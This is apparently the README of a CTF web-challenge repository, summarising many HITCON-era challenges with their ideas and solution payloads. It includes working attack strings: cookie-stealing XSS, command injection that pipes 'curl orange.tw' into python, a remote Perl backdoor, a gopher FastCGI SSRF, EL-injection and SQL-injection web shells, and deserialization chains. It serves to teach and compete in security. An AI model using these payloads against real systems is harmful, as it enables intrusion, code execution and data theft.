My CTF Web Challenges

This is the repository of all CTF challenges I made, including the source code, write-up and idea explanation! Hope you like it :)

P.s. BTW, the Babyfirst series and One Line PHP Challenge are my favorite challenges. If you haven't enough time, please look them at least!

Babyfirst
Babyfirst Revenge
Babyfirst Revenge v2
One Line PHP Challenge

And you can find me via:

Table of Content

HITCON 2021
HITCON 2020
HITCON 2019 Quals
HITCON 2018
HITCON 2017 Quals
HITCON 2016 Quals
- %%%
- Leaking
- BabyTrick
- Angry Boy
- Angry Seam
HITCON 2015 Quals
HITCON 2014 Quals
WCTF 2016
- BlackBox
AIS3 Final 2015 Final
- SQLPWN

W3rmup PHP

Difficulty: ★★
Solved: 22 / 666
Tag: PHP, Code Review, YAML ,Command Injection

Source Code

Source

Idea

The Norway Problem, the country code of Norway (NO) becomes False in YAML
Bypass the escapeshellarg by the logic problem of count() + unset()

Solution

Write Ups

One-Bit Man

Difficulty: ★
Solved: 49 / 666
Tag: PHP, Code Review

Source Code

Source

Idea

You can flip 1-bit on any file of the latest version of WordPress and you have to pwn the server.

Solution

Flip the position 5389 of the file /var/www/html/wp-includes/user.php to NOP the NOT (!) operation.

    if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
            return new WP_Error(

Write Ups

Metamon Verse

Difficulty: ★★★☆
Solved: 9 / 666
Tag: NFS, SSRF ,RCE

Source Code

Source

Idea

The idea is using the SSRF to communicate with the local NFS/RPC server to get the RCE. To complete the exploit, you have to:

Construct the RPC/PORTMAP_CALL packet and send to gopher://127.0.0.1:111/ to get the port of mountd service.
Construct the RPC/MNT_CALL packet and send to gopher://127.0.0.1:<mnt-port>/ to get the file-handler of /data volume (remember to specify CURLOPT_LOCALPORT to bypass the authentication)
Construct the RPC/NFS_CALL packet and send to gopher://127.0.0.1:2049/ to create a SYMLINK (remember to specify CURLOPT_LOCALPORT to bypass the authentication)
Symlink the /app/templates/index.html to a controllable file to get a SSTI and get the RCE!

Solution

An dirty exploit code can be found here

Write Ups

FBI Warning

Difficulty: ☆
Solved: 25 / 666
Tag: MISC, OSINT ,PHP, Code Review

Source Code

Source

Idea

The website uses a famous Message Board project futaba-ng, and the ID generation is based on REMOTE_ADDR:

define("IDSEED", 'idの種');       //idの種
...
$now.=" ID:".substr(crypt(md5($_SERVER["REMOTE_ADDR"].IDSEED.gmdate("Ymd", $time+9*60*60)),'id'),-8);

Solution

Because of the known IP prefix, you can identify the IP address of Ωrange by brute-force easily.

var_dump( substr(crypt(md5("219.91.64.47"."idの種"."20211203"),"id"),-8) == "ueyUrcwA" )
// bool(true)

Write Ups

Vulpixelize

Difficulty: ★☆
Solved: 41 / 666
Tag: Browser, Feature

Source Code

Source

Idea

Use the Chrome new feature Text Fragments to extract the flag.

Solution

Write Ups

oShell

Difficulty: ★★
Solved: 21 / 1281
Tag: BlackBox, Shell ,Command Injection

Source Code

Source

Solution

Leveraging strace in htop to read enable secret.
Writing /home/oShell/.toprc with tcpdump -w
Abusing top inspect feature to run arbitrary commands

Write Ups

Writeup from team FrenchRoomba

oStyle

Difficulty: ★★☆
Solved: 10 / 1281
Tag: XSS

Source Code

Source

Solution

The default Apache installation enabled mod_negotiation, which allows .var mapping and you can specify arbitrary content-type there.

test.var

Content-language: en
Content-type: text/html
Body:----foo----

<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>

----foo----

Write Ups

Return of Use-After-Flee

Difficulty: ★★★★★
Solved: 0 / 1281
Tag: WhiteBox, PHP, UAF, PWN

Source Code

Source

Solution

Exploiting CVE-2015-0273 to pop the shell without known binaries. More detail will be published in my blog soon.

Write Ups

Virtual Public Network

Difficulty: ★☆
Solved: 81 / 1147
Tag: WhiteBox, Perl, Command Injection

Source Code

Source

Solution

Refer my blog and Black Hat 2019 USA slides for details
- Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!
- Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs

http://13.231.137.9/cgi-bin/diag.cgi
?options=-r@a="ls -alh /",system@a%23 2>tmp/orange.thtml <
&tpl=orange

Write Ups

Bounty Pl33z

Difficulty: ★★★☆
Solved: 30 / 1147
Tag: XSS

Source Code

Solution

Idea from @FD - A little known JavaScript comment style SingleLineHTMLOpenComment and HTMLCloseComment in EMCA specification.

Here we use unicode U+2028 and U+3002 to bypass \n and . filters.

http://3.114.5.202/fd.php
?q=ssl。orange。tw?xx"%2bdocument[`cookie`]%E2%80%A8-->

Unintended Solution

Nesting template expression

http://3.114.5.202/fd.php
?q=ssl。orange。tw?`%2b"%2bdocument[`cookie`];(`${`

Write Ups

GoGo PowerSQL

Difficulty: ★★★☆
Solved: 16 / 1147
Tag: Environment Injection, MySQL Client Attack

Source Code

Docker

Solution

Buffer Overflow the DB_HOST in BSS
Due to the patch, we can pollute environment variable which are not in the Blacklist.
Hijack MySQL connection by ENV such as LOCALDOMAIN or HOSTALIAES
Read /FLAG by LOAD DATA LOCAL INFILE.

import requests

payload = ['x=x' for x in range(254)]
payload.append('name=x')
payload.append('HOSTALIASES=/proc/self/fd/0')
payload.append('orangeeeee=go')
payload = '&'.join(payload)

data = 'orangeeeee my.orange.tw'

r = requests.post('http://13.231.38.172/cgi-bin/query?'+payload, data=data)
print r.content

$ git clone https://github.com/lcark/MysqlClientAttack.git
$ cd MysqlClientAttack
$ python main.py -F /FLAG

Write Ups

Luatic

Difficulty: ★★☆
Solved: 42 / 1147
Tag: WhiteBox, Redis, Lua

Source Code

Docker

Solution

Override PHP global variables.
Redis implements eval command by string concatenations so that we can escape the original Lua function to override global objects.

http://54.250.242.183/luatic.php
?_POST[TEST_KEY]=return 1 end function math:random() return 2
&_POST[TEST_VALUE]=0
&_POST[MY_SET_COMMAND]=eval
&_POST[token]=<token>
&_POST[guess]=2

http://54.250.242.183/luatic.php
?_POST[token]=<token>
&_POST[guess]=2

Unintended Solution

Lua is so magic that there are several unintended solutions. Sorry for the imperfect challenge :(

Write Ups

Buggy .Net

Difficulty: ★☆
Solved: 13 / 1147
Tag: ASP.NET, WhiteBox

Source Code

Default.aspx

Solution

Using .NET request validation to trigger the exception and bypass the filter
Idea from Soroush Dalili's WAF Bypass Techniques - Using HTTP Standard and Web Servers' Behaviour in AppSec Europe 2018(p30~p34)

GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

from urllib import quote

s = lambda x: quote(x.encode('ibm500'))
print '%s=%s&x=%s' % (s('filename'), s('../../FLAG.txt', s('<x>'))

Write Ups

One Line PHP Challenge

Difficulty: ★★★★
Solved: 3 / 1816
Tag: PHP

Source Code

index.php

Solution

P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04

Control partial session file content by PHP_SESSION_UPLOAD_PROGRESS
Bypass session.upload_progress.cleanup = On by race condition or slow query
Control the prefix to @<?php by chaining PHP wrappers

Write Ups

Baby Cake

Difficulty: ★★★
Solved: 4 / 1816
Tag: Code Review, PHP, De-serialization

Source Code

index.php

Solution

Due to the implement of CURLOPT_SAFE_UPLOAD in CakePHP FormData.php. We can read arbitrary files!

# arbitrary file read, listen port 12345 on your server
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@/etc/passwd

# arbitrary de-serialization the Monolog POP chain
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@phar://../tmp/cache/mycache/[you_ip]/[md5_of_url]/body.cache

exploit.phar

Write Ups

Oh My Raddit

Difficulty: ★★☆
Solved: 27 / 1816
Tag: Observation, DES checksum, Crypto, Web

Source Code

Solution

Know ECB mode from block frequency analysis
Know block size = 8 from cipher length
From the information above, it's reasonable to use DES in real world
The most common block is 3ca92540eb2d0a42(always in the cipher end). We can guess it's the padding \x08\x08\x08\x08\x08\x08\x08\x08
Due to the checking parity in DES, we can reduce the keyspace from 26(abcdefghijklmnopqrstuvwxyz) to 13(acegikmoqsuwy)
- Break in 1 second with HashCat
- Break in 10 minutes with single thread Python

Write Ups

Oh My Raddit v2

Difficulty: ★★
Solved: 10 / 1816
Tag: Web.py, SQL Injection to RCE

Source Code

Solution

Read the package version from requirements.txt
Remote Code Execution in Web.py framework
exp.py

Write Ups

Why so Serials?

Difficulty: ★★★★
Solved: 1 / 1816
Tag: De-serialization, RCE, ASP.NET, View State

Source Code

Default.aspx

Solution

Get the machineKey in web.config by Server-Side-Includes(.shtml or .stm)
Exploit ASP.NET ___VIEWSTATE by ysoserial.net

Write Ups

BabyFirst Revenge

Difficulty: ★☆
Solved: 95 / 1541
Tag: WhiteBox, PHP, Command Injection

Idea

Command Injection, but only in 5 bytes

Source Code

index.php

Solution

# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

# generate `curl orange.tw|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _

# got shell
http://host/?cmd=sh g

You can check the exploit.py for the detail! And there are also lots of creative solutions, you can check the write ups below.

Write Ups

BabyFirst Revenge v2

Difficulty: ★★★★
Solved: 8 / 1541
Tag: WhiteBox, PHP, Command Injection

Idea

Command Injection, but only in 4 bytes

Source Code

index.php

Solution

generate g> ht- sl to file v
reverse file v to file x
generate curl orange.tw|python;
execute x, ls -th >g
execute g

You can check exploit.py for the detail!

Write Ups

SSRFme?

Difficulty: ★★☆
Solved: 20 / 1541
Tag: WhiteBox, Perl, PATH Pollution

Idea

CVE-2016-1238 (But the latest version of Ubuntu 17.04 in AWS is still vulnerable)
Perl lookup current directory in module importing
Perl module URI/lib/URI.pm#L136 will eval if there is a unknown scheme

Source Code

index.php

$ sudo apt install libwww-perl

Solution

# write evil URI module to current directory
$ curl http://host/?filename=URI/orange.pm&url=http://orange.tw/w/backdoor.pl

# eval evil module `orange`
$ curl http://host/?filename=xxx&url=orange://orange.tw

Write Ups

SQL so Hard

Difficulty: ★★★
Solved: 10 / 1541
Tag: WhiteBox, MySQL, PostgreSQL, SQL Injection, Code Injection

Idea

MySQL max_allowed_packet dropped large size SQL sentence
Node-Postgres - code execution vulnerability
Exploit the RCE in SQL UPDATE syntax

Baby^H Master PHP 2017

Difficulty: ★★★★☆
Solved: 0 / 1541
Tag: WhiteBox, PHP, Serialization, Apache Prefock

Idea

PHP do the de-serialization on PHAR parsing
PHP assigned a predictable function name \x00lambda_%d to an anonymous function
Break shared VARIABLE state in Apache Pre-fork mode

Source Code

index.php

Solution

# get a cookie
$ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process
$ python fork.py &

# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"

Write Ups

По умолчанию Чтение файлов => unserialize !

papapa

Difficulty: ★
Solved: 71 / 1024
Tag: BlackBox, SSL, Pentesting

Idea

Leak the internal hostname from SSL certificate

Source Code

here

Solution

$ openssl s_client -showcerts -connect 1.2.3.4:443 < /dev/null | openssl x509 -text | grep -A 1 "Subject Alternativer Name"
...
depth=0 C = TW, ST = Some-State, O = Internet Widgits Pty Ltd, CN = very-secret-area-for-ctf.orange.tw, emailAddress = [email protected]
...
# get flag
$ curl -k  -H "host: very-secret-area-for-ctf.orange.tw" https://1.2.3.4/

Write Ups

Leaking

Difficulty: ★★
Solved: 43 / 1024
Tag: WhiteBox, JavaScript, NodeJS

Idea

Break JavaScript Sandbox
Use NodeJS Buffer(int) to steal uninitialized memory
Node.js Buffer knows everything

Source Code

here

Solution

$ while true; do curl 'http://1.2.3.4/?data=Buffer(1e4)' | grep -a hitcon; done;

Write Ups

BabyTrick

Difficulty: ★★★
Solved: 24 / 1024
Tag: WhiteBox, PHP, MySQL, SQL Injection, Unserialize

Idea

Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization
SugarCRM v6.5.23 PHP反序列化對象注入漏洞
MySQL UTF-8 collation - SELECT 'Ä'='a' is True

Source Code

here

Solution

# get password
curl http://1.2.3.4/
?data=O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:39:"'union%20select%201,2,password%20from%20users%23";}}

# get flag
curl http://1.2.3.4/
?data=O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÄnge";i:1;s:13:"babytrick1234";}}

Write Ups

Angry Boy

Difficulty: ★★☆
Solved: 43 / 1024
Tag: GrayBox, Java

Idea

new String(new byte[] {1, -1, 1, -1}) will output 01EFBFBD01EFBFBD, not 01FF01FF
When ‘EFBFBD’ And Friends Come Knocking: Observations Of Byte Array To String Conversions

Source Code

here

Solution

Write Ups

Angry Boy - Web 300 Problem

Angry Seam

Difficulty: ★★★★
Solved: 4 / 1024
Tag: GrayBox, Java, Seam Framework, CSS RPO, EL Injection, Java Deserialization

Idea

CSS Relative Path Overwrite
Built-in redirection parameter actionOutcome
RPO Gadgets
CVE-2010-1871: JBoss Seam Framework remote code execution

Source Code

here

Solution

P.s. I made this challenge because once when I try to review the code of Seam Framework, I found some 0-days and I think it must have more. So I throw out the brick to attract a jade. And the result is more than I expected :P

Intended solution

username: `AAAAAA`    
password: `AAAAAA`  
realname: `{/*';*/}%0a@import'http://orange.tw/?`

Report URL

http://1.2.3.4:8080/angryseam/profile.seam?actionOutcom>e=/profile.seam?username%3dAAAAAA

Unintended solution

Register an account
Update description to
Login and access

/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}

GET /angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription()) HTTP/1.1
host: 1.2.3.4
cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),request.getHeader('ccc'))}
ccc: ls -alh
...

Unintended solution

CVE-2013-2165 Java deserialization vulnerability

Unintended solution

SESSION manipulation... seam SUCKS

Write Ups

Babyfirst

Solved: 33 / 969
Difficulty: ★★
Tag: WhiteBox, PHP, Command Injection

Idea

Use NewLine to bypass regular expression check
Command injection only with alphanumeric characters

Source Code

here

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }

    exec("/bin/orange " . implode(" ", $args));
?>

Solution

http://localhost/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=orange%0a
&args[3]=cd
&args[4]=orange%0a
&args[5]=wget
&args[6]=846465263%0a

http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a
&args[5]=php
&args[6]=aa

And there are also lots of creative solutions, you can check the write ups below.

Write Ups

nanana

Difficulty: ★★★
Solved: 18 / 969
Tag: GrayBox, C, PWN

Idea

Pwn without library
Format String without output
Bypass Stack Guard by using overflow ARGV[1]

Source Code

here

Solution

exploit.py

Write Ups

Giraffe's Coffee

Difficulty: ★★★☆
Solved: 16 / 969
Tag: WhiteBox, PHP

Idea

Break PHP PRNG
Break shared PRNG STATE in Apache Prefork mode

Source Code

here

Solution

TBD

Write Ups

lalala

Difficulty: ★★★☆
Solved: 2 / 969
Tag: BlackBox, PHP, SSRF

Idea

Bypass SSRF restrictiton with 302 redirect
Exploit FASTCGI protocol by using GOPHER

Source Code

here

Solution

<?php
header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%86%00%00%0E%03REQUEST_METHODGET%0F%0ASCRIPT_FILENAME/www/a.php%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );

Write Ups

Use-After-FLEE

Solved: 1 / 969
Difficulty: ★★★★☆
Tag: WhiteBox, PHP, UAF, PWN

Idea

Bypass open_basedir
Bypass disable_functions
PHP use-after-free exploit writing
Bypass full protection (DEP / ASLR / PIE / FULL RELRO)
Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList

Source Code

here

Solution

TBD

Write Ups

Use-After-FLEE (pwn, web 500)

PUSHIN CAT

Solved: 8 / 1020
Difficulty: ★★
Platform: BlackBox, PHP, H2, SQL Injection

Idea

SQL Injection on H2 Database
Execute Code by using H2 SQL Injection

Source Code

here

Solution

TBD

Write Ups

PY4H4SHER

Solved: 30 / 1020
Difficulty: ★★☆
Tag: WhiteBox, Python, Collision, HPP

Idea

Python CGI HTTP Pollution
MySQL old_password hash collisions
PBKDF2+HMAC hash collisions explained

Source Code

here

Solution

TBD

Write Ups

LEENODE

Solved: 2 / 1020
Difficulty: ★★★
Tag: BlackBox, ColdFusion, Apache

Idea

Multilayered architecture vulnerability
Double Encoding

Source Code

here

Solution

# get password
$ curl http://1.2.3.4/admin%252f%252ehtpasswd%2500.cfm

# get flag
$ curl http://1.2.3.4/admin/thefl4g.txt

Write Ups

BlackBox

Solved: 0 / 12
Difficulty: ★★★★
Tag: GrayBox, PHP, JAVA, mod_jk, H2, SQL Injection, WAF

Idea

Multilayered architecture vulnerability
Default and up to date mod_jk leads to directory travesal
Bypass WAF by incorrect usage of BASE64 and URLENCODE
SQL Injection on H2 Database
Execute Code by using H2 SQL Injection

Source Code

here

Solution

Get source code
```
http://1.2.3.4/login/..;/
```

Review code and find a way to bypass WAF

$ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,version(),null--"
$ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_read('/etc/apache2/sites-enabled/000-default.conf'),null--"

Write shell

$ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_write('3c3f706870206576616c28245f504f53545b6363635d293b3f3e', '/www/write_shell_here_=P/.a.php'),null--"
$ curl "http://1.2.3.4/write_shell_here_=P/.a.php" -d 'phpinfo();'

Write Ups

TBD

SQLPWN

Solved: 0 / ??
Difficulty: ★★★
Tag: WhiteBox, PHP, SQL Injection, LFI, Race Condition

Idea

One-byte off SQL Injection
Race Condition
Local file inclusion with PHP session

Source Code

here

Solution

Run exploit.py to win race condition

$ curl http://1.2.3.4/sqlpwn.php -d 'title=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\&note=, concat(0x3a3a3a3a3a3a,(select pass from users where name=0x6f72616e6765)))#'

Local file inclusion with session

$ curl http://1.2.3.4/sqlpwn.php?mode=admin&boom=../../../../../../var/lib/php5/sess_243220

orangetw/My-CTF-Web-Challenges

orangetw

Reviews

Repository Details

My CTF Web Challenges

Table of Content

W3rmup PHP

Source Code

Idea

Solution

Write Ups

One-Bit Man

Source Code

Idea

Solution

Write Ups

Metamon Verse

Source Code

Idea

Solution

Write Ups

FBI Warning

Source Code

Idea

Solution

Write Ups

Vulpixelize

Source Code

Idea

Solution

Write Ups

oShell

Source Code

Solution

Write Ups

oStyle

Source Code

Solution

Write Ups

Return of Use-After-Flee

Source Code

Solution

Write Ups

Virtual Public Network

Source Code

Solution

Write Ups

Bounty Pl33z

Source Code

Solution

Unintended Solution

Write Ups

GoGo PowerSQL

Source Code

Solution

Write Ups

Luatic

Source Code

Solution

Unintended Solution

Write Ups

Buggy .Net

Source Code

Solution

Write Ups

One Line PHP Challenge

Source Code

Solution

Write Ups

Baby Cake

Source Code

Solution

Write Ups

Oh My Raddit

Source Code

Solution

Write Ups

Oh My Raddit v2

Source Code

Solution